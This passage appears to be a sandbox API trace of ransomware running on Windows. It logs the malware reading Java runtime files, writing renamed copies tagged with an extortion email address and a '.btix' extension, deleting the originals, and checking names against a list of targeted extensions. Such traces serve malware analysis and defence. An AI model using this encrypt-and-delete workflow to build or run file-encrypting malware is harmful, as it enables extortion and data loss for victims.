nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.811] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1 [0147.811] SetEndOfFile (hFile=0x370) returned 1 [0148.325] CloseHandle (hObject=0x370) returned 1 [0148.325] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.325] SetEndOfFile (hFile=0x36c) returned 1 [0148.339] CloseHandle (hObject=0x36c) returned 1 [0148.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.339] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0148.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.339] lstrlenW (lpString=".doc") returned 4 [0148.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.339] lstrlenW (lpString=".docx") returned 5 [0148.339] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.339] lstrlenW (lpString=".pdf") returned 4 [0148.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.339] lstrlenW (lpString=".xls") returned 4 [0148.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.339] lstrlenW (lpString=".xlsx") returned 5 [0148.339] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.339] lstrlenW (lpString=".ppt") returned 4 [0148.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.339] lstrlenW (lpString=".zip") returned 4 [0148.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.339] lstrlenW (lpString=".rar") returned 4 [0148.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString=".bz2") returned 4 [0148.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.340] lstrlenW (lpString=".7z") returned 3 [0148.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.340] lstrlenW (lpString=".dbf") returned 4 [0148.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.340] lstrlenW (lpString=".1cd") returned 4 [0148.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.340] lstrlenW (lpString=".jpg") returned 4 [0148.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.340] lstrlenW (lpString=".doc") returned 4 [0148.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString=".docx") returned 5 [0148.340] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.340] lstrlenW (lpString=".pdf") returned 4 [0148.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString=".xls") returned 4 [0148.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString=".xlsx") returned 5 [0148.340] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.340] lstrlenW (lpString=".ppt") returned 4 [0148.340] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.340] lstrlenW (lpString=".zip") returned 4 [0148.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString=".rar") returned 4 [0148.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.340] lstrlenW (lpString=".bz2") returned 4 [0148.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.341] lstrlenW (lpString=".7z") returned 3 [0148.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.341] lstrlenW (lpString=".dbf") returned 4 [0148.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.341] lstrlenW (lpString=".1cd") returned 4 [0148.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0148.341] lstrlenW (lpString=".jpg") returned 4 [0148.341] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.341] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0148.341] lstrlenW (lpString="javaws.exe") returned 10 [0148.341] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.341] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=319552) returned 1 [0148.341] CloseHandle (hObject=0x36c) returned 1 [0148.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0148.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.342] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.342] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.342] GetLastError () returned 0x0 [0148.342] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4e040, lpOverlapped=0x0) returned 1 [0148.365] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4e050, lpOverlapped=0x0) returned 1 [0148.369] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.370] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0148.370] SetEndOfFile (hFile=0x370) returned 1 [0148.370] CloseHandle (hObject=0x370) returned 1 [0148.370] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.370] SetEndOfFile (hFile=0x36c) returned 1 [0148.372] CloseHandle (hObject=0x36c) returned 1 [0148.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.373] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0148.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.373] lstrlenW (lpString=".doc") returned 4 [0148.373] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.373] lstrlenW (lpString=".docx") returned 5 [0148.373] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0148.373] lstrlenW (lpString=".pdf") returned 4 [0148.373] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.373] lstrlenW (lpString=".xls") returned 4 [0148.373] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.373] lstrlenW (lpString=".xlsx") returned 5 [0148.373] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0148.373] lstrlenW (lpString=".ppt") returned 4 [0148.373] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.373] lstrlenW (lpString=".zip") returned 4 [0148.373] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.373] lstrlenW (lpString=".rar") returned 4 [0148.373] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.373] lstrlenW (lpString=".bz2") returned 4 [0148.373] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.373] lstrlenW (lpString=".7z") returned 3 [0148.373] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString=".dbf") returned 4 [0148.374] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString=".1cd") returned 4 [0148.374] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString=".jpg") returned 4 [0148.374] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString=".doc") returned 4 [0148.374] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.374] lstrlenW (lpString=".docx") returned 5 [0148.374] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0148.374] lstrlenW (lpString=".pdf") returned 4 [0148.374] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.374] lstrlenW (lpString=".xls") returned 4 [0148.374] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.374] lstrlenW (lpString=".xlsx") returned 5 [0148.374] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0148.374] lstrlenW (lpString=".ppt") returned 4 [0148.374] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString=".zip") returned 4 [0148.374] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.374] lstrlenW (lpString=".rar") returned 4 [0148.374] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.374] lstrlenW (lpString=".bz2") returned 4 [0148.374] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.374] lstrlenW (lpString=".7z") returned 3 [0148.374] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.374] lstrlenW (lpString=".dbf") returned 4 [0148.374] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.375] lstrlenW (lpString=".1cd") returned 4 [0148.375] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0148.375] lstrlenW (lpString=".jpg") returned 4 [0148.375] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.375] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.375] lstrlenW (lpString="jawt.dll") returned 8 [0148.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.375] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=14400) returned 1 [0148.375] CloseHandle (hObject=0x36c) returned 1 [0148.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0148.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.376] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.376] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.376] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.376] GetLastError () returned 0x0 [0148.376] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x3840, lpOverlapped=0x0) returned 1 [0148.378] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x3850, lpOverlapped=0x0) returned 1 [0148.379] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.379] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.379] SetEndOfFile (hFile=0x370) returned 1 [0148.379] CloseHandle (hObject=0x370) returned 1 [0148.379] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.379] SetEndOfFile (hFile=0x36c) returned 1 [0148.380] CloseHandle (hObject=0x36c) returned 1 [0148.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.380] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0148.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.381] lstrlenW (lpString=".doc") returned 4 [0148.381] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.381] lstrlenW (lpString=".docx") returned 5 [0148.381] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.381] lstrlenW (lpString=".pdf") returned 4 [0148.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.381] lstrlenW (lpString=".xls") returned 4 [0148.381] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.381] lstrlenW (lpString=".xlsx") returned 5 [0148.381] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.381] lstrlenW (lpString=".ppt") returned 4 [0148.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.381] lstrlenW (lpString=".zip") returned 4 [0148.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.381] lstrlenW (lpString=".rar") returned 4 [0148.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.381] lstrlenW (lpString=".bz2") returned 4 [0148.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.381] lstrlenW (lpString=".7z") returned 3 [0148.381] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.381] lstrlenW (lpString=".dbf") returned 4 [0148.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.381] lstrlenW (lpString=".1cd") returned 4 [0148.381] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.381] lstrlenW (lpString=".jpg") returned 4 [0148.381] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.382] lstrlenW (lpString=".doc") returned 4 [0148.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString=".docx") returned 5 [0148.382] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.382] lstrlenW (lpString=".pdf") returned 4 [0148.382] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString=".xls") returned 4 [0148.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString=".xlsx") returned 5 [0148.382] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.382] lstrlenW (lpString=".ppt") returned 4 [0148.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.382] lstrlenW (lpString=".zip") returned 4 [0148.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString=".rar") returned 4 [0148.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.382] lstrlenW (lpString=".bz2") returned 4 [0148.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.382] lstrlenW (lpString=".7z") returned 3 [0148.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.382] lstrlenW (lpString=".dbf") returned 4 [0148.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.382] lstrlenW (lpString=".1cd") returned 4 [0148.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0148.382] lstrlenW (lpString=".jpg") returned 4 [0148.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.383] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.383] lstrlenW (lpString="JAWTAccessBridge-64.dll") returned 23 [0148.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.383] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=15424) returned 1 [0148.383] CloseHandle (hObject=0x36c) returned 1 [0148.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0148.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.383] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.383] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.384] GetLastError () returned 0x0 [0148.384] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x3c40, lpOverlapped=0x0) returned 1 [0148.751] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x3c50, lpOverlapped=0x0) returned 1 [0148.752] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.752] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x102, lpOverlapped=0x0) returned 1 [0148.752] SetEndOfFile (hFile=0x370) returned 1 [0148.752] CloseHandle (hObject=0x370) returned 1 [0148.752] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.752] SetEndOfFile (hFile=0x36c) returned 1 [0148.753] CloseHandle (hObject=0x36c) returned 1 [0148.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.753] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.754] lstrlenW (lpString=".doc") returned 4 [0148.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.754] lstrlenW (lpString=".docx") returned 5 [0148.754] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0148.754] lstrlenW 